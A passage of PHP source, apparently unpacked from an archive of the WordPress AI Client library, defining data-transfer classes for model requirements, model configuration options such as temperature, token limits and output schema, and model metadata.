have any inputs if (!empty($inputModalities)) { // Remove duplicates $inputModalities = array_unique($inputModalities, \SORT_REGULAR); $requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::inputModalities(), array_values($inputModalities))); } // Step 6: Return new ModelRequirements return new self($capabilities, $requiredOptions); } /** * Converts ModelConfig to an array of RequiredOptions. * * @since 0.2.0 * * @param ModelConfig $modelConfig The model configuration. * @return list The required options. */ private static function toRequiredOptions(\WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): array { $requiredOptions = []; // Map properties that have corresponding OptionEnum values if ($modelConfig->getOutputModalities() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputModalities(), $modelConfig->getOutputModalities()); } if ($modelConfig->getSystemInstruction() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::systemInstruction(), $modelConfig->getSystemInstruction()); } if ($modelConfig->getCandidateCount() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::candidateCount(), $modelConfig->getCandidateCount()); } if ($modelConfig->getMaxTokens() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::maxTokens(), $modelConfig->getMaxTokens()); } if ($modelConfig->getTemperature() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::temperature(), $modelConfig->getTemperature()); } if ($modelConfig->getTopP() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topP(), $modelConfig->getTopP()); } if ($modelConfig->getTopK() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topK(), $modelConfig->getTopK()); } if ($modelConfig->getOutputMimeType() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMimeType(), $modelConfig->getOutputMimeType()); } if ($modelConfig->getOutputSchema() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputSchema(), $modelConfig->getOutputSchema()); } // Handle properties without OptionEnum values as custom options if ($modelConfig->getStopSequences() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::stopSequences(), $modelConfig->getStopSequences()); } if ($modelConfig->getPresencePenalty() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::presencePenalty(), $modelConfig->getPresencePenalty()); } if ($modelConfig->getFrequencyPenalty() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::frequencyPenalty(), $modelConfig->getFrequencyPenalty()); } if ($modelConfig->getLogprobs() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::logprobs(), $modelConfig->getLogprobs()); } if ($modelConfig->getTopLogprobs() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topLogprobs(), $modelConfig->getTopLogprobs()); } if ($modelConfig->getFunctionDeclarations() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true); } if ($modelConfig->getWebSearch() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::webSearch(), \true); } if ($modelConfig->getOutputFileType() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputFileType(), $modelConfig->getOutputFileType()); } if ($modelConfig->getOutputMediaOrientation() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaOrientation(), $modelConfig->getOutputMediaOrientation()); } if ($modelConfig->getOutputMediaAspectRatio() !== null) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaAspectRatio(), $modelConfig->getOutputMediaAspectRatio()); } // Add custom options as individual RequiredOptions foreach ($modelConfig->getCustomOptions() as $key => $value) { $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::customOptions(), [$key => $value]); } return $requiredOptions; } /** * Includes a RequiredOption in the array, ensuring no duplicates based on option name. * * @since 0.2.0 * * @param list $requiredOptions The existing required options. * @param RequiredOption $newOption The new option to include. * @return list The updated required options array. */ private static function includeInRequiredOptions(array $requiredOptions, \WordPress\AiClient\Providers\Models\DTO\RequiredOption $newOption): array { // Check if we already have this option name foreach ($requiredOptions as $index => $existingOption) { if ($existingOption->getName()->equals($newOption->getName())) { // Replace existing option with new one $requiredOptions[$index] = $newOption; return $requiredOptions; } } // Option not found, add it $requiredOptions[] = $newOption; return $requiredOptions; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_REQUIRED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The capabilities that the model must support.'], self::KEY_REQUIRED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::getJsonSchema(), 'description' => 'The options that the model must support with specific values.']], 'required' => [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ModelRequirementsArrayShape */ public function toArray(): array { return [self::KEY_REQUIRED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->requiredCapabilities), self::KEY_REQUIRED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\RequiredOption $option): array => $option->toArray(), $this->requiredOptions)]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]); return new self(array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_REQUIRED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\RequiredOption => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::fromArray($optionData), $array[self::KEY_REQUIRED_OPTIONS])); } } PK!fvv(src/Providers/Models/DTO/ModelConfig.phpnu[, * systemInstruction?: string, * candidateCount?: int, * maxTokens?: int, * temperature?: float, * topP?: float, * topK?: int, * stopSequences?: list, * presencePenalty?: float, * frequencyPenalty?: float, * logprobs?: bool, * topLogprobs?: int, * functionDeclarations?: list, * webSearch?: WebSearchArrayShape, * outputFileType?: string, * outputMimeType?: string, * outputSchema?: array, * outputMediaOrientation?: string, * outputMediaAspectRatio?: string, * outputSpeechVoice?: string, * customOptions?: array * } * * @extends AbstractDataTransferObject */ class ModelConfig extends AbstractDataTransferObject { public const KEY_OUTPUT_MODALITIES = 'outputModalities'; public const KEY_SYSTEM_INSTRUCTION = 'systemInstruction'; public const KEY_CANDIDATE_COUNT = 'candidateCount'; public const KEY_MAX_TOKENS = 'maxTokens'; public const KEY_TEMPERATURE = 'temperature'; public const KEY_TOP_P = 'topP'; public const KEY_TOP_K = 'topK'; public const KEY_STOP_SEQUENCES = 'stopSequences'; public const KEY_PRESENCE_PENALTY = 'presencePenalty'; public const KEY_FREQUENCY_PENALTY = 'frequencyPenalty'; public const KEY_LOGPROBS = 'logprobs'; public const KEY_TOP_LOGPROBS = 'topLogprobs'; public const KEY_FUNCTION_DECLARATIONS = 'functionDeclarations'; public const KEY_WEB_SEARCH = 'webSearch'; public const KEY_OUTPUT_FILE_TYPE = 'outputFileType'; public const KEY_OUTPUT_MIME_TYPE = 'outputMimeType'; public const KEY_OUTPUT_SCHEMA = 'outputSchema'; public const KEY_OUTPUT_MEDIA_ORIENTATION = 'outputMediaOrientation'; public const KEY_OUTPUT_MEDIA_ASPECT_RATIO = 'outputMediaAspectRatio'; public const KEY_OUTPUT_SPEECH_VOICE = 'outputSpeechVoice'; public const KEY_CUSTOM_OPTIONS = 'customOptions'; /* * Note: This key is not an actual model config key, but specified here for convenience. * It is relevant for model discovery, to determine which models support which input modalities. * The actual input modalities are part of the message sent to the model, not the model config. */ public const KEY_INPUT_MODALITIES = 'inputModalities'; /** * @var list|null Output modalities for the model. */ protected ?array $outputModalities = null; /** * @var string|null System instruction for the model. */ protected ?string $systemInstruction = null; /** * @var int|null Number of response candidates to generate. */ protected ?int $candidateCount = null; /** * @var int|null Maximum number of tokens to generate. */ protected ?int $maxTokens = null; /** * @var float|null Temperature for randomness (0.0 to 2.0). */ protected ?float $temperature = null; /** * @var float|null Top-p nucleus sampling parameter. */ protected ?float $topP = null; /** * @var int|null Top-k sampling parameter. */ protected ?int $topK = null; /** * @var list|null Stop sequences. */ protected ?array $stopSequences = null; /** * @var float|null Presence penalty for reducing repetition. */ protected ?float $presencePenalty = null; /** * @var float|null Frequency penalty for reducing repetition. */ protected ?float $frequencyPenalty = null; /** * @var bool|null Whether to return log probabilities. */ protected ?bool $logprobs = null; /** * @var int|null Number of top log probabilities to return. */ protected ?int $topLogprobs = null; /** * @var list|null Function declarations available to the model. */ protected ?array $functionDeclarations = null; /** * @var WebSearch|null Web search configuration for the model. */ protected ?WebSearch $webSearch = null; /** * @var FileTypeEnum|null Output file type. */ protected ?FileTypeEnum $outputFileType = null; /** * @var string|null Output MIME type. */ protected ?string $outputMimeType = null; /** * @var array|null Output schema (JSON schema). */ protected ?array $outputSchema = null; /** * @var MediaOrientationEnum|null Output media orientation. */ protected ?MediaOrientationEnum $outputMediaOrientation = null; /** * @var string|null Output media aspect ratio (e.g. 3:2, 16:9). */ protected ?string $outputMediaAspectRatio = null; /** * @var string|null Output speech voice. */ protected ?string $outputSpeechVoice = null; /** * @var array Custom provider-specific options. */ protected array $customOptions = []; /** * Creates a deep clone of this configuration. * * Clones nested objects (functionDeclarations, webSearch) to ensure * the cloned configuration is independent of the original. * Enum value objects (outputModalities, outputFileType, outputMediaOrientation) * are intentionally shared as they are immutable. * * @since 0.4.2 */ public function __clone() { // Deep clone function declarations if set if ($this->functionDeclarations !== null) { $clonedDeclarations = []; foreach ($this->functionDeclarations as $declaration) { $clonedDeclarations[] = clone $declaration; } $this->functionDeclarations = $clonedDeclarations; } // Clone web search if set if ($this->webSearch !== null) { $this->webSearch = clone $this->webSearch; } // Note: Enum value objects (outputModalities, outputFileType, outputMediaOrientation) // are immutable and can be safely shared. } /** * Sets the output modalities. * * @since 0.1.0 * * @param list $outputModalities The output modalities. * * @throws InvalidArgumentException If the array is not a list. */ public function setOutputModalities(array $outputModalities): void { if (!array_is_list($outputModalities)) { throw new InvalidArgumentException('Output modalities must be a list array.'); } $this->outputModalities = $outputModalities; } /** * Gets the output modalities. * * @since 0.1.0 * * @return list|null The output modalities. */ public function getOutputModalities(): ?array { return $this->outputModalities; } /** * Sets the system instruction. * * @since 0.1.0 * * @param string $systemInstruction The system instruction. */ public function setSystemInstruction(string $systemInstruction): void { $this->systemInstruction = $systemInstruction; } /** * Gets the system instruction. * * @since 0.1.0 * * @return string|null The system instruction. */ public function getSystemInstruction(): ?string { return $this->systemInstruction; } /** * Sets the candidate count. * * @since 0.1.0 * * @param int $candidateCount The candidate count. */ public function setCandidateCount(int $candidateCount): void { $this->candidateCount = $candidateCount; } /** * Gets the candidate count. * * @since 0.1.0 * * @return int|null The candidate count. */ public function getCandidateCount(): ?int { return $this->candidateCount; } /** * Sets the maximum tokens. * * @since 0.1.0 * * @param int $maxTokens The maximum tokens. */ public function setMaxTokens(int $maxTokens): void { $this->maxTokens = $maxTokens; } /** * Gets the maximum tokens. * * @since 0.1.0 * * @return int|null The maximum tokens. */ public function getMaxTokens(): ?int { return $this->maxTokens; } /** * Sets the temperature. * * @since 0.1.0 * * @param float $temperature The temperature. */ public function setTemperature(float $temperature): void { $this->temperature = $temperature; } /** * Gets the temperature. * * @since 0.1.0 * * @return float|null The temperature. */ public function getTemperature(): ?float { return $this->temperature; } /** * Sets the top-p parameter. * * @since 0.1.0 * * @param float $topP The top-p parameter. */ public function setTopP(float $topP): void { $this->topP = $topP; } /** * Gets the top-p parameter. * * @since 0.1.0 * * @return float|null The top-p parameter. */ public function getTopP(): ?float { return $this->topP; } /** * Sets the top-k parameter. * * @since 0.1.0 * * @param int $topK The top-k parameter. */ public function setTopK(int $topK): void { $this->topK = $topK; } /** * Gets the top-k parameter. * * @since 0.1.0 * * @return int|null The top-k parameter. */ public function getTopK(): ?int { return $this->topK; } /** * Sets the stop sequences. * * @since 0.1.0 * * @param list $stopSequences The stop sequences. * * @throws InvalidArgumentException If the array is not a list. */ public function setStopSequences(array $stopSequences): void { if (!array_is_list($stopSequences)) { throw new InvalidArgumentException('Stop sequences must be a list array.'); } $this->stopSequences = $stopSequences; } /** * Gets the stop sequences. * * @since 0.1.0 * * @return list|null The stop sequences. */ public function getStopSequences(): ?array { return $this->stopSequences; } /** * Sets the presence penalty. * * @since 0.1.0 * * @param float $presencePenalty The presence penalty. */ public function setPresencePenalty(float $presencePenalty): void { $this->presencePenalty = $presencePenalty; } /** * Gets the presence penalty. * * @since 0.1.0 * * @return float|null The presence penalty. */ public function getPresencePenalty(): ?float { return $this->presencePenalty; } /** * Sets the frequency penalty. * * @since 0.1.0 * * @param float $frequencyPenalty The frequency penalty. */ public function setFrequencyPenalty(float $frequencyPenalty): void { $this->frequencyPenalty = $frequencyPenalty; } /** * Gets the frequency penalty. * * @since 0.1.0 * * @return float|null The frequency penalty. */ public function getFrequencyPenalty(): ?float { return $this->frequencyPenalty; } /** * Sets whether to return log probabilities. * * @since 0.1.0 * * @param bool $logprobs Whether to return log probabilities. */ public function setLogprobs(bool $logprobs): void { $this->logprobs = $logprobs; } /** * Gets whether to return log probabilities. * * @since 0.1.0 * * @return bool|null Whether to return log probabilities. */ public function getLogprobs(): ?bool { return $this->logprobs; } /** * Sets the number of top log probabilities to return. * * @since 0.1.0 * * @param int $topLogprobs The number of top log probabilities. */ public function setTopLogprobs(int $topLogprobs): void { $this->topLogprobs = $topLogprobs; } /** * Gets the number of top log probabilities to return. * * @since 0.1.0 * * @return int|null The number of top log probabilities. */ public function getTopLogprobs(): ?int { return $this->topLogprobs; } /** * Sets the function declarations. * * @since 0.1.0 * * @param list $functionDeclarations The function declarations. * * @throws InvalidArgumentException If the array is not a list. */ public function setFunctionDeclarations(array $functionDeclarations): void { if (!array_is_list($functionDeclarations)) { throw new InvalidArgumentException('Function declarations must be a list array.'); } $this->functionDeclarations = $functionDeclarations; } /** * Gets the function declarations. * * @since 0.1.0 * * @return list|null The function declarations. */ public function getFunctionDeclarations(): ?array { return $this->functionDeclarations; } /** * Sets the web search configuration. * * @since 0.1.0 * * @param WebSearch $webSearch The web search configuration. */ public function setWebSearch(WebSearch $webSearch): void { $this->webSearch = $webSearch; } /** * Gets the web search configuration. * * @since 0.1.0 * * @return WebSearch|null The web search configuration. */ public function getWebSearch(): ?WebSearch { return $this->webSearch; } /** * Sets the output file type. * * @since 0.1.0 * * @param FileTypeEnum $outputFileType The output file type. */ public function setOutputFileType(FileTypeEnum $outputFileType): void { $this->outputFileType = $outputFileType; } /** * Gets the output file type. * * @since 0.1.0 * * @return FileTypeEnum|null The output file type. */ public function getOutputFileType(): ?FileTypeEnum { return $this->outputFileType; } /** * Sets the output MIME type. * * @since 0.1.0 * * @param string $outputMimeType The output MIME type. */ public function setOutputMimeType(string $outputMimeType): void { $this->outputMimeType = $outputMimeType; } /** * Gets the output MIME type. * * @since 0.1.0 * * @return string|null The output MIME type. */ public function getOutputMimeType(): ?string { return $this->outputMimeType; } /** * Sets the output schema. * * When setting an output schema, this method automatically sets * the output MIME type to "application/json" if not already set. * * @since 0.1.0 * * @param array $outputSchema The output schema (JSON schema). */ public function setOutputSchema(array $outputSchema): void { $this->outputSchema = $outputSchema; // Automatically set outputMimeType to application/json when schema is provided if ($this->outputMimeType === null) { $this->outputMimeType = 'application/json'; } } /** * Gets the output schema. * * @since 0.1.0 * * @return array|null The output schema. */ public function getOutputSchema(): ?array { return $this->outputSchema; } /** * Sets the output media orientation. * * @since 0.1.0 * * @param MediaOrientationEnum $outputMediaOrientation The output media orientation. */ public function setOutputMediaOrientation(MediaOrientationEnum $outputMediaOrientation): void { if ($this->outputMediaAspectRatio) { $this->validateMediaOrientationAspectRatioCompatibility($outputMediaOrientation, $this->outputMediaAspectRatio); } $this->outputMediaOrientation = $outputMediaOrientation; } /** * Gets the output media orientation. * * @since 0.1.0 * * @return MediaOrientationEnum|null The output media orientation. */ public function getOutputMediaOrientation(): ?MediaOrientationEnum { return $this->outputMediaOrientation; } /** * Sets the output media aspect ratio. * * If set, this supersedes the output media orientation, as it is a more specific configuration. * * @since 0.1.0 * * @param string $outputMediaAspectRatio The output media aspect ratio (e.g. 3:2, 16:9). */ public function setOutputMediaAspectRatio(string $outputMediaAspectRatio): void { if (!preg_match('/^\d+:\d+$/', $outputMediaAspectRatio)) { throw new InvalidArgumentException('Output media aspect ratio must be in the format "width:height" (e.g. 3:2, 16:9).'); } if ($this->outputMediaOrientation) { $this->validateMediaOrientationAspectRatioCompatibility($this->outputMediaOrientation, $outputMediaAspectRatio); } $this->outputMediaAspectRatio = $outputMediaAspectRatio; } /** * Gets the output media aspect ratio. * * @since 0.1.0 * * @return string|null The output media aspect ratio (e.g. 3:2, 16:9). */ public function getOutputMediaAspectRatio(): ?string { return $this->outputMediaAspectRatio; } /** * Validates that the given media orientation and aspect ratio values do not conflict with each other. * * @since 0.4.0 * * @param MediaOrientationEnum $orientation The desired media orientation. * @param string $aspectRatio The desired media aspect ratio. */ protected function validateMediaOrientationAspectRatioCompatibility(MediaOrientationEnum $orientation, string $aspectRatio): void { $aspectRatioParts = explode(':', $aspectRatio); if ($orientation->isSquare() && $aspectRatioParts[0] !== $aspectRatioParts[1]) { throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the square orientation.'); } if ($orientation->isLandscape() && $aspectRatioParts[0] <= $aspectRatioParts[1]) { throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the landscape orientation.'); } if ($orientation->isPortrait() && $aspectRatioParts[0] >= $aspectRatioParts[1]) { throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the portrait orientation.'); } } /** * Sets the output speech voice. * * @since 0.1.0 * * @param string $outputSpeechVoice The output speech voice. */ public function setOutputSpeechVoice(string $outputSpeechVoice): void { $this->outputSpeechVoice = $outputSpeechVoice; } /** * Gets the output speech voice. * * @since 0.1.0 * * @return string|null The output speech voice. */ public function getOutputSpeechVoice(): ?string { return $this->outputSpeechVoice; } /** * Sets a single custom option. * * @since 0.1.0 * * @param string $key The option key. * @param mixed $value The option value. */ public function setCustomOption(string $key, $value): void { $this->customOptions[$key] = $value; } /** * Sets the custom options. * * @since 0.1.0 * * @param array $customOptions The custom options. */ public function setCustomOptions(array $customOptions): void { $this->customOptions = $customOptions; } /** * Gets the custom options. * * @since 0.1.0 * * @return array The custom options. */ public function getCustomOptions(): array { return $this->customOptions; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_OUTPUT_MODALITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => ModalityEnum::getValues()], 'description' => 'Output modalities for the model.'], self::KEY_SYSTEM_INSTRUCTION => ['type' => 'string', 'description' => 'System instruction for the model.'], self::KEY_CANDIDATE_COUNT => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of response candidates to generate.'], self::KEY_MAX_TOKENS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Maximum number of tokens to generate.'], self::KEY_TEMPERATURE => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 2.0, 'description' => 'Temperature for randomness.'], self::KEY_TOP_P => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 1.0, 'description' => 'Top-p nucleus sampling parameter.'], self::KEY_TOP_K => ['type' => 'integer', 'minimum' => 1, 'description' => 'Top-k sampling parameter.'], self::KEY_STOP_SEQUENCES => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'Stop sequences.'], self::KEY_PRESENCE_PENALTY => ['type' => 'number', 'description' => 'Presence penalty for reducing repetition.'], self::KEY_FREQUENCY_PENALTY => ['type' => 'number', 'description' => 'Frequency penalty for reducing repetition.'], self::KEY_LOGPROBS => ['type' => 'boolean', 'description' => 'Whether to return log probabilities.'], self::KEY_TOP_LOGPROBS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of top log probabilities to return.'], self::KEY_FUNCTION_DECLARATIONS => ['type' => 'array', 'items' => FunctionDeclaration::getJsonSchema(), 'description' => 'Function declarations available to the model.'], self::KEY_WEB_SEARCH => WebSearch::getJsonSchema(), self::KEY_OUTPUT_FILE_TYPE => ['type' => 'string', 'enum' => FileTypeEnum::getValues(), 'description' => 'Output file type.'], self::KEY_OUTPUT_MIME_TYPE => ['type' => 'string', 'description' => 'Output MIME type.'], self::KEY_OUTPUT_SCHEMA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Output schema (JSON schema).'], self::KEY_OUTPUT_MEDIA_ORIENTATION => ['type' => 'string', 'enum' => MediaOrientationEnum::getValues(), 'description' => 'Output media orientation.'], self::KEY_OUTPUT_MEDIA_ASPECT_RATIO => ['type' => 'string', 'pattern' => '^\d+:\d+$', 'description' => 'Output media aspect ratio.'], self::KEY_OUTPUT_SPEECH_VOICE => ['type' => 'string', 'description' => 'Output speech voice.'], self::KEY_CUSTOM_OPTIONS => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Custom provider-specific options.']], 'additionalProperties' => \false]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ModelConfigArrayShape */ public function toArray(): array { $data = []; if ($this->outputModalities !== null) { $data[self::KEY_OUTPUT_MODALITIES] = array_map(static function (ModalityEnum $modality): string { return $modality->value; }, $this->outputModalities); } if ($this->systemInstruction !== null) { $data[self::KEY_SYSTEM_INSTRUCTION] = $this->systemInstruction; } if ($this->candidateCount !== null) { $data[self::KEY_CANDIDATE_COUNT] = $this->candidateCount; } if ($this->maxTokens !== null) { $data[self::KEY_MAX_TOKENS] = $this->maxTokens; } if ($this->temperature !== null) { $data[self::KEY_TEMPERATURE] = $this->temperature; } if ($this->topP !== null) { $data[self::KEY_TOP_P] = $this->topP; } if ($this->topK !== null) { $data[self::KEY_TOP_K] = $this->topK; } if ($this->stopSequences !== null) { $data[self::KEY_STOP_SEQUENCES] = $this->stopSequences; } if ($this->presencePenalty !== null) { $data[self::KEY_PRESENCE_PENALTY] = $this->presencePenalty; } if ($this->frequencyPenalty !== null) { $data[self::KEY_FREQUENCY_PENALTY] = $this->frequencyPenalty; } if ($this->logprobs !== null) { $data[self::KEY_LOGPROBS] = $this->logprobs; } if ($this->topLogprobs !== null) { $data[self::KEY_TOP_LOGPROBS] = $this->topLogprobs; } if ($this->functionDeclarations !== null) { $data[self::KEY_FUNCTION_DECLARATIONS] = array_map(static function (FunctionDeclaration $functionDeclaration): array { return $functionDeclaration->toArray(); }, $this->functionDeclarations); } if ($this->webSearch !== null) { $data[self::KEY_WEB_SEARCH] = $this->webSearch->toArray(); } if ($this->outputFileType !== null) { $data[self::KEY_OUTPUT_FILE_TYPE] = $this->outputFileType->value; } if ($this->outputMimeType !== null) { $data[self::KEY_OUTPUT_MIME_TYPE] = $this->outputMimeType; } if ($this->outputSchema !== null) { $data[self::KEY_OUTPUT_SCHEMA] = $this->outputSchema; } if ($this->outputMediaOrientation !== null) { $data[self::KEY_OUTPUT_MEDIA_ORIENTATION] = $this->outputMediaOrientation->value; } if ($this->outputMediaAspectRatio !== null) { $data[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO] = $this->outputMediaAspectRatio; } if ($this->outputSpeechVoice !== null) { $data[self::KEY_OUTPUT_SPEECH_VOICE] = $this->outputSpeechVoice; } if (!empty($this->customOptions)) { $data[self::KEY_CUSTOM_OPTIONS] = $this->customOptions; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { $config = new self(); if (isset($array[self::KEY_OUTPUT_MODALITIES])) { $config->setOutputModalities(array_map(static fn(string $modality): ModalityEnum => ModalityEnum::from($modality), $array[self::KEY_OUTPUT_MODALITIES])); } if (isset($array[self::KEY_SYSTEM_INSTRUCTION])) { $config->setSystemInstruction($array[self::KEY_SYSTEM_INSTRUCTION]); } if (isset($array[self::KEY_CANDIDATE_COUNT])) { $config->setCandidateCount($array[self::KEY_CANDIDATE_COUNT]); } if (isset($array[self::KEY_MAX_TOKENS])) { $config->setMaxTokens($array[self::KEY_MAX_TOKENS]); } if (isset($array[self::KEY_TEMPERATURE])) { $config->setTemperature($array[self::KEY_TEMPERATURE]); } if (isset($array[self::KEY_TOP_P])) { $config->setTopP($array[self::KEY_TOP_P]); } if (isset($array[self::KEY_TOP_K])) { $config->setTopK($array[self::KEY_TOP_K]); } if (isset($array[self::KEY_STOP_SEQUENCES])) { $config->setStopSequences($array[self::KEY_STOP_SEQUENCES]); } if (isset($array[self::KEY_PRESENCE_PENALTY])) { $config->setPresencePenalty($array[self::KEY_PRESENCE_PENALTY]); } if (isset($array[self::KEY_FREQUENCY_PENALTY])) { $config->setFrequencyPenalty($array[self::KEY_FREQUENCY_PENALTY]); } if (isset($array[self::KEY_LOGPROBS])) { $config->setLogprobs($array[self::KEY_LOGPROBS]); } if (isset($array[self::KEY_TOP_LOGPROBS])) { $config->setTopLogprobs($array[self::KEY_TOP_LOGPROBS]); } if (isset($array[self::KEY_FUNCTION_DECLARATIONS])) { $config->setFunctionDeclarations(array_map(static function (array $functionDeclarationData): FunctionDeclaration { return FunctionDeclaration::fromArray($functionDeclarationData); }, $array[self::KEY_FUNCTION_DECLARATIONS])); } if (isset($array[self::KEY_WEB_SEARCH])) { $config->setWebSearch(WebSearch::fromArray($array[self::KEY_WEB_SEARCH])); } if (isset($array[self::KEY_OUTPUT_FILE_TYPE])) { $config->setOutputFileType(FileTypeEnum::from($array[self::KEY_OUTPUT_FILE_TYPE])); } if (isset($array[self::KEY_OUTPUT_MIME_TYPE])) { $config->setOutputMimeType($array[self::KEY_OUTPUT_MIME_TYPE]); } if (isset($array[self::KEY_OUTPUT_SCHEMA])) { $config->setOutputSchema($array[self::KEY_OUTPUT_SCHEMA]); } if (isset($array[self::KEY_OUTPUT_MEDIA_ORIENTATION])) { $config->setOutputMediaOrientation(MediaOrientationEnum::from($array[self::KEY_OUTPUT_MEDIA_ORIENTATION])); } if (isset($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO])) { $config->setOutputMediaAspectRatio($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO]); } if (isset($array[self::KEY_OUTPUT_SPEECH_VOICE])) { $config->setOutputSpeechVoice($array[self::KEY_OUTPUT_SPEECH_VOICE]); } if (isset($array[self::KEY_CUSTOM_OPTIONS])) { $config->setCustomOptions($array[self::KEY_CUSTOM_OPTIONS]); } return $config; } } PK!z *src/Providers/Models/DTO/ModelMetadata.phpnu[, * supportedOptions: list * } * * @extends AbstractDataTransferObject */ class ModelMetadata extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_SUPPORTED_CAPABILITIES = 'supportedCapabilities'; public const KEY_SUPPORTED_OPTIONS = 'supportedOptions'; /** * @var string The model's unique identifier. */ protected string $id; /** * @var string The model's display name. */ protected string $name; /** * @var list The model's supported capabilities. */ protected array $supportedCapabilities; /** * @var list The model's supported configuration options. */ protected array $supportedOptions; /** * Constructor. * * @since 0.1.0 * * @param string $id The model's unique identifier. * @param string $name The model's display name. * @param list $supportedCapabilities The model's supported capabilities. * @param list $supportedOptions The model's supported configuration options. * * @throws InvalidArgumentException If arrays are not lists. */ public function __construct(string $id, string $name, array $supportedCapabilities, array $supportedOptions) { if (!array_is_list($supportedCapabilities)) { throw new InvalidArgumentException('Supported capabilities must be a list array.'); } if (!array_is_list($supportedOptions)) { throw new InvalidArgumentException('Supported options must be a list array.'); } $this->id = $id; $this->name = $name; $this->supportedCapabilities = $supportedCapabilities; $this->supportedOptions = $supportedOptions; } /** * Gets the model's unique identifier. * * @since 0.1.0 * * @return string The model ID. */ public function getId(): string { return $this->id; } /** * Gets the model's display name. * * @since 0.1.0 * * @return string The model name. */ public function getName(): string { return $this->name; } /** * Gets the model's supported capabilities. * * @since 0.1.0 * * @return list The supported capabilities. */ public function getSupportedCapabilities(): array { return $this->supportedCapabilities; } /** * Gets the model's supported configuration options. * * @since 0.1.0 * * @return list The supported options. */ public function getSupportedOptions(): array { return $this->supportedOptions; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The model\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The model\'s display name.'], self::KEY_SUPPORTED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The model\'s supported capabilities.'], self::KEY_SUPPORTED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::getJsonSchema(), 'description' => 'The model\'s supported configuration options.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ModelMetadataArrayShape */ public function toArray(): array { return [self::KEY_ID => $this->id, self::KEY_NAME => 